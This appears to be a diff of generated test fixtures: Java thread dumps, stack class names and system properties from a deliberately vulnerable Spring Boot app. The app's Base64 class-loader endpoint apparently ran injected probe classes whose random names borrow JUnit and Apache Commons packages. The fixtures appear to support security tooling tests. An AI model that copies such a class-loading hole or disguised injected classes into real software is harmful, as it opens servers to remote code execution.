at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"http-nio-8080-Acceptor" #48 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.Net.accept(Native Method)
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:433)
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:399)
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:626)
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:71)
at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:145)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"Catalina-utility-1" #34 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fbfe421
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"http-nio-8080-exec-8" #44 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"http-nio-8080-exec-9" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"container-0" #36 [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Thread.sleep0(Native Method)
at [email protected]/java.lang.Thread.sleep(Thread.java:509)
at org.apache.catalina.core.StandardServer.await(StandardServer.java:522)
at org.springframework.boot.tomcat.TomcatWebServer$1.run(TomcatWebServer.java:216)
"Signal Dispatcher" #11 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Notification Thread" #18 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"http-nio-8080-exec-6" #42 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"Common-Cleaner" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@241094ac
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886)
at [email protected]/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71)
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218)
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186)
"http-nio-8080-Poller" #47 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121)
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130)
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142)
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:912)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"http-nio-8080-exec-7" #43 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"Reference Handler" #9 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:246)
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208)
"Catalina-utility-2" #35 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fbfe421
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"http-nio-8080-exec-3" #39 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
===========================================
StackClassNames:
com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController
jakarta.servlet.http.HttpServlet
org.apache.catalina.authenticator.AuthenticatorBase
org.apache.catalina.connector.CoyoteAdapter
org.apache.catalina.core.ApplicationFilterChain
org.apache.catalina.core.StandardContextValve
org.apache.catalina.core.StandardEngineValve
org.apache.catalina.core.StandardHostValve
org.apache.catalina.core.StandardServer
org.apache.catalina.core.StandardWrapperValve
org.apache.catalina.valves.ErrorReportValve
org.apache.commons.lang.jlEOs.ErrorPscoiHandler
org.apache.coyote.AbstractProcessorLight
org.apache.coyote.AbstractProtocol$ConnectionHandler
org.apache.coyote.http11.Http11Processor
org.apache.tomcat.util.net.Acceptor
org.apache.tomcat.util.net.NioEndpoint
org.apache.tomcat.util.net.NioEndpoint$Poller
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor
org.apache.tomcat.util.net.SocketProcessorBase
org.apache.tomcat.util.threads.TaskQueue
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable
org.apache.tomcat.util.threads.ThreadPoolExecutor
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker
org.apache.tomcat.websocket.server.WsFilter
org.springframework.boot.tomcat.TomcatWebServer$1
org.springframework.web.filter.CharacterEncodingFilter
org.springframework.web.filter.FormContentFilter
org.springframework.web.filter.OncePerRequestFilter
org.springframework.web.filter.RequestContextFilter
org.springframework.web.method.support.InvocableHandlerMethod
org.springframework.web.servlet.DispatcherServlet
org.springframework.web.servlet.FrameworkServlet
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod
@@ -0,0 +1,299 @@
# Generated At 2026-08-21 10:13:42
SystemProps:
java.specification.version: 21
sun.jnu.encoding: UTF-8
java.class.path: /app/app.jar
java.vm.vendor: Eclipse Adoptium
sun.arch.data.model: 64
java.vendor.url: https://adoptium.net/
user.timezone: Etc/UTC
java.vm.specification.version: 21
os.name: Linux
APPLICATION_NAME: vul-springboot4
sun.java.launcher: SUN_STANDARD
user.country: US
sun.boot.library.path: /opt/java/openjdk/lib
sun.java.command: /app/app.jar
jdk.debug: release
sun.cpu.endian: little
user.home: /root
user.language: en
java.specification.vendor: Oracle Corporation
java.version.date: 2026-04-21
java.home: /opt/java/openjdk
file.separator: /
java.vm.compressedOopsMode: Zero based
line.separator:
java.vm.specification.vendor: Oracle Corporation
java.specification.name: Java Platform API Specification
FILE_LOG_CHARSET: UTF-8
java.awt.headless: true
java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
java.runtime.version: 21.0.11+10-LTS
user.name: root
stdout.encoding: UTF-8
path.separator: :
os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535
java.runtime.name: OpenJDK Runtime Environment
file.encoding: UTF-8
java.vm.name: OpenJDK 64-Bit Server VM
java.vendor.version: Temurin-21.0.11+10
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
java.io.tmpdir: /tmp
java.version: 21.0.11
user.dir: /
os.arch: aarch64
java.vm.specification.name: Java Virtual Machine Specification
PID: 1
CONSOLE_LOG_CHARSET: UTF-8
native.encoding: UTF-8
java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib
java.vm.info: mixed mode, sharing
stderr.encoding: UTF-8
java.vendor: Eclipse Adoptium
java.vm.version: 21.0.11+10-LTS
sun.io.unicode.encoding: UnicodeLittle
java.class.version: 65.0
LOGGED_APPLICATION_NAME: [vul-springboot4]
===========================================
ThreadStacks:
"reactor-http-nio-2" #38 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121)
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130)
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142)
at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62)
at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668)
at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434)
at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225)
at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196)
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204)
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"Common-Cleaner" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3585ff
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886)
at [email protected]/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71)
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218)
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186)
"boundedElastic-evictor-1" #34 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74fc5fed
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"reactor-http-nio-1" #35 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121)
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130)
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142)
at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62)
at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668)
at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434)
at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225)
at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196)
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204)
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"Notification Thread" #18 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Cleaner-0" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1dc92888
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886)
at [email protected]/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71)
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218)
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186)
"DestroyJavaVM" #37 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"reactor-http-nio-4" #40 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121)
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130)
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142)
at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62)
at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668)
at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434)
at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225)
at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196)
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204)
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@2a63db04
java.lang.Thread.State: WAITING
at [email protected]/java.lang.Object.wait0(Native Method)
at [email protected]/java.lang.Object.wait(Object.java:366)
at [email protected]/java.lang.Object.wait(Object.java:339)
at [email protected]/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48)
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158)
at [email protected]/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89)
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173)
"server" #36 [WAITING] on java.util.concurrent.CountDownLatch$Sync@655b9ca
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:221)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(AbstractQueuedSynchronizer.java:788)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1133)
at [email protected]/java.util.concurrent.CountDownLatch.await(CountDownLatch.java:230)
at reactor.core.publisher.BlockingSingleSubscriber.blockingGet(BlockingSingleSubscriber.java:91)
at reactor.core.publisher.Mono.block(Mono.java:1773)
at org.springframework.boot.reactor.netty.NettyWebServer$1.run(NettyWebServer.java:231)
"reactor-http-nio-5" #41 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:2522)
at org.junit.ckpSo.ErrorEexqqHandler.toString(BasicInfoPrinter.java:26)
at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.lambda$handleFormSubmission$0(Base64ClassLoaderController.java:32)
at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda/0x00000060014a1f58.apply(Unknown Source)
at reactor.core.publisher.MonoFlatMap$FlatMapMain.onNext(MonoFlatMap.java:132)
at reactor.core.publisher.Operators$MonoSubscriber.complete(Operators.java:1861)
at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.signalCached(MonoCacheTime.java:353)
at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.onNext(MonoCacheTime.java:372)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber.onNext(FluxMapFuseable.java:130)
at reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber.onNext(FluxContextWrite.java:109)
at reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber.onNext(FluxMapFuseable.java:300)
at reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber.onNext(FluxFilterFuseable.java:338)
at reactor.core.publisher.Operators$BaseFluxToMonoOperator.completePossiblyEmpty(Operators.java:2093)
at reactor.core.publisher.MonoCollect$CollectSubscriber.onComplete(MonoCollect.java:144)
at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144)
at reactor.core.publisher.FluxPeek$PeekSubscriber.onComplete(FluxPeek.java:263)
at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144)
at reactor.netty.channel.FluxReceive.onInboundComplete(FluxReceive.java:419)
at reactor.netty.channel.ChannelOperations.onInboundComplete(ChannelOperations.java:467)
at reactor.netty.http.server.HttpServerOperations.handleLastHttpContent(HttpServerOperations.java:931)
at reactor.netty.http.server.HttpServerOperations.onInboundNext(HttpServerOperations.java:840)
at reactor.netty.channel.ChannelOperationsHandler.channelRead(ChannelOperationsHandler.java:115)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:357)
at reactor.netty.http.server.HttpTrafficHandler.channelRead(HttpTrafficHandler.java:340)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355)
at io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext.fireChannelRead(CombinedChannelDuplexHandler.java:434)
at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:361)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:325)
at io.netty.channel.CombinedChannelDuplexHandler.channelRead(CombinedChannelDuplexHandler.java:249)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1429)
